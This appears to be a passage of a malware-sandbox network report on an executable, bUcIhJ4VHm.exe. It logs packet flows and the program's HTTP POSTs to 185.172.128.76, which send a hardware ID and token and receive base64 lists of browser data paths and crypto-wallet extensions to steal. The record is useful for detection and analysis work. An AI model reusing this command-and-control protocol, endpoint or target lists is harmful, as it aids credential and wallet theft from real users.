Apr 25, 2024 21:48:27.352904081 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.352932930 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.352946997 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.352957964 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.352971077 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353017092 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353017092 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353025913 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353063107 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353087902 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353133917 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353168964 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353218079 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353219986 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353257895 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353281975 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353303909 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353329897 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353343010 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353353977 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353396893 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353400946 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353415012 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353437901 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353440046 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353462934 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353477001 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353497028 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353519917 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353537083 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353557110 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353617907 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353630066 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353641033 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353669882 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353678942 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353678942 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353717089 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353717089 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353760004 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353770971 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353784084 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353809118 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353817940 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353826046 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353837967 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.353863955 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.353877068 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354017019 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354068041 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354126930 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354176998 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354192972 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354238987 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354243994 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354259014 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354290009 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354305983 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354315996 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354352951 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354381084 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354403019 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354429960 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354449987 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354464054 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354489088 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354504108 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354525089 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354535103 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354576111 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354582071 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354631901 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354643106 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354667902 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354686975 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354705095 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354710102 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354751110 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354861975 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354897976 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354911089 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354912043 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354934931 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354948997 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.354958057 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.354995012 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355027914 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355083942 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355084896 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355129004 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355129957 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355143070 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355174065 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355187893 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355206966 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355251074 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355263948 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355287075 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355305910 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355319977 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355328083 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355365992 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355444908 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355484009 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355494022 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355525017 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355557919 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355571985 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355582952 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355607986 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355621099 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355650902 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355686903 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355777025 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355837107 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355849028 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355896950 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355901003 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.355937958 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.355994940 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.356031895 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.356045008 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.356045008 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.356070995 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.356081963 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.356090069 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.356118917 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:27.356127024 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:27.356158018 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:32.149144888 CEST	80	49713	185.172.128.203	192.168.2.5
Apr 25, 2024 21:48:32.149208069 CEST	49713	80	192.168.2.5	185.172.128.203
Apr 25, 2024 21:48:39.590931892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:39.592087984 CEST	49713	80	192.168.2.5	185.172.128.203

HTTP Request Dependency Graph

185.172.128.76

185.172.128.203

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.172.128.76	80	6760	C:\Users\user\Desktop\bUcIhJ4VHm.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 21:47:52.038515091 CEST	416	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJ Host: 185.172.128.76 Content-Length: 215 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 37 44 36 43 43 45 36 31 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="hwid"107D6CCE6189514701825------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="build"default10------FHIEBKKFHIEGCAKECGHJ--
Apr 25, 2024 21:47:52.565988064 CEST	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Vary: Accept-Encoding Data Raw: 5a 6a 68 6b 5a 6a 41 32 4f 44 42 6a 4d 32 4d 33 4e 7a 64 68 4e 54 46 6b 4e 6a 4a 6a 4d 7a 59 7a 4f 44 4d 35 4e 6a 56 6c 5a 54 63 32 4e 6a 56 6c 5a 6a 59 31 5a 54 49 77 4e 6a 4a 6b 4e 6d 4d 30 4d 54 51 31 4d 32 51 77 59 7a 67 31 5a 6a 51 32 4f 47 49 33 4f 44 6b 31 4d 57 59 33 4d 32 56 6a 66 47 68 6c 63 6a 64 6f 4e 44 68 79 66 47 56 79 4e 47 67 30 5a 54 68 79 4e 43 35 6d 61 57 78 6c 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: ZjhkZjA2ODBjM2M3NzdhNTFkNjJjMzYzODM5NjVlZTc2NjVlZjY1ZTIwNjJkNmM0MTQ1M2QwYzg1ZjQ2OGI3ODk1MWY3M2VjfGhlcjdoNDhyfGVyNGg0ZThyNC5maWxlfDF8MHwxfDF8MXwxfDF8MXw=
Apr 25, 2024 21:47:52.567945004 CEST	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHII Host: 185.172.128.76 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="message"browsers------CFCFHJDBKJKEBFHJEHII--
Apr 25, 2024 21:47:52.887465000 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb
Apr 25, 2024 21:47:52.887479067 CEST	427	IN	Data Raw: 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 Data Ascii: 21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQ
Apr 25, 2024 21:47:52.888959885 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIII Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="message"plugins------BAEBGHCFCAAFIECAFIII--
Apr 25, 2024 21:47:53.207077980 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 